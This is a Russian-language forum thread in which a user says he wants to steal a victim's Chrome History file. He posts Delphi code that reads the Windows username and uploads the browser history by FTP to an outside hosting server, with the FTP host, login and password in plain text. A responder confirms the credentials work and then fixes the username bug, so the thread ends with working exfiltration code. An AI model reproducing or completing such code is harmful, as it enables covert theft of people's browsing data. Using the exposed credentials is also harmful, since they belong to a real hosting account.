Помогите разобратся

хочу стырить файл History, но в директории указано имя пользователя, я разобрался как его узнать но при запуске вылетает ошибка - Cannon open file "C:/User/NN"
проблема в том что не считывается следующая строка директории, вот код


var
sUserName: string;
dwUserNameLen: DWORD;
begin
dwUserNameLen := cnMaxUserNameLen - 1;
SetLength(sUserName, cnMaxUserNameLen);
GetUserName(PChar(sUserName), dwUserNameLen);
SetLength(sUserName, dwUserNameLen);
Result := sUserName;
end;
begin
idftp1.Host := 'vh68.timeweb.ru';
idftp1.Username := 'ci85785';
idftp1.Password := 'mRMfVuNYb254';
idftp1.Port := 21;
idftp1.Connect();
idftp1.Passive := true;
if idftp1.Connected = true then
Memo1.Lines.Add('Подключение прошло успешно !');
//Memo1.Lines.Add('Load Файл ...');
idftp1.Put('C:\Users\' +(GetCurrentUserName) + '\AppData\Local\Google\Chrome\User Data\Default\History');
Memo1.Lines.Add('Файл успешно отправлен !');
end;

 

А ты молодец. И логин оставил и пароль от хостинга
Рабочие, я проверил. Но в принципе там 0 рублей на счету так что...
============
Есть мнение что сначала ты должен директорию выбрать
idftp1.ChangeDir('ляляля');

Хотя х/з. Delphi не юзаю т.ч. не могу сказать.
============
UPD: и кстати GetCurrentUserName возвращает все ок ? А то не видно у тебя в пути AppData\Local етц.

 

проблема в том что все ок шло, C:/User/NN правильно подошло, т.е. имя пользователя вставилось, а +'\AppData\Local\Google\Chrome\User Data\Default\History' не заходит, в ошибке не видно что такой путь вообще есть, глянь на ошибку которую я писал

 

Строчкой ниже можешь попробовать их добавить. Почему в той же строке не добавляется - тайна покрытая мраком
Тут надо полный кодес чтобы самому дебугга запустить.
=======
Ну типо
S:string;
<....>
s:='C:\Users\' + (GetCurrentUserName());
s+='\AppData....'

И кстати экранировать обратный слеш в Delphi не надо ? Не помню
======
Скинь функцию GetCurrentUserName.

 

на += выдает ошибку, хз в чем прикол

 

Попробуй просто
S:=S+'\AppData...'

 

все равно никак ( выдает C:/User/NN только, остальное нет..

 

Скинь весь код куда-нибудь. Что-то у тебя там не фунциклирует

 

private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
function GetCurrentUserName: string;
const
cnMaxUserNameLen = 254;
var
sUserName: string;
dwUserNameLen: DWORD;
begin
dwUserNameLen := cnMaxUserNameLen - 1;
SetLength(sUserName, cnMaxUserNameLen);
GetUserName(PChar(sUserName), dwUserNameLen);
SetLength(sUserName, dwUserNameLen);
Result := sUserName;
end;
var s: string;
begin
idftp1.Host := 'vh68.timeweb.ru';
idftp1.Username := 'ci85785';
idftp1.Password := 'mRMfVuNYb254';
idftp1.Port := 21;
idftp1.Connect();
idftp1.Passive := true;
if idftp1.Connected = true then
Memo1.Lines.Add('Ïîäêëþ÷åíèå ïðîøëî óñïåøíî !');
Memo1.Lines.Add('Load Ôàéë ...');
s:='C:\Users\' + (GetCurrentUserName());
s := s + '\AppData\Local\Google\Chrome\User Data\Default\History';
idftp1.Put(s);
Memo1.Lines.Add('Ôàéë óñïåøíî îòïðàâëåí !');
end;
end.

 

Поменяй функцию GetCurrentUserName ибо она тебе просто #0 в конец добавляет. А для типа String #0 не считается признаком конца строки.
Держи.

Code:

function GetCurrentUserName: string;
  const
    cnMaxUserNameLen = 254;
  var
    dwUserNameLen: DWORD;
    cUserName: PChar;
  begin
    dwUserNameLen := cnMaxUserNameLen - 1;
    GetUserName(cUserName, dwUserNameLen);
    Result := cUserName;
  end;

===========================
Правда я не помню как с PChar работать, так что могут быть забавные траблы. Но в общем и целом проблема твоя в GetCurrentUserName. Смотри сам.

 

Есть вероятность что мой кодес затирает память. Проверить не на чем, но можно сделать вот как.

У себя в коде просто исправь эту строчку (чтобы длина была на 1 меньше) и должно все ок работать:
SetLength(sUserName, dwUserNameLen-1);

 

Ага. Так и есть. Лови. Это должно работать.

Code:

function GetCurrentUserName: string;
const
cnMaxUserNameLen = 254;
var
sUserName: string;
dwUserNameLen: DWORD;
begin
dwUserNameLen := cnMaxUserNameLen - 1;
SetLength(sUserName, cnMaxUserNameLen);
GetUserName(PChar(sUserName), dwUserNameLen);
SetLength(sUserName, dwUserNameLen-1);
Result := sUserName;
end;

 

спасибо тебе огромное! все работает!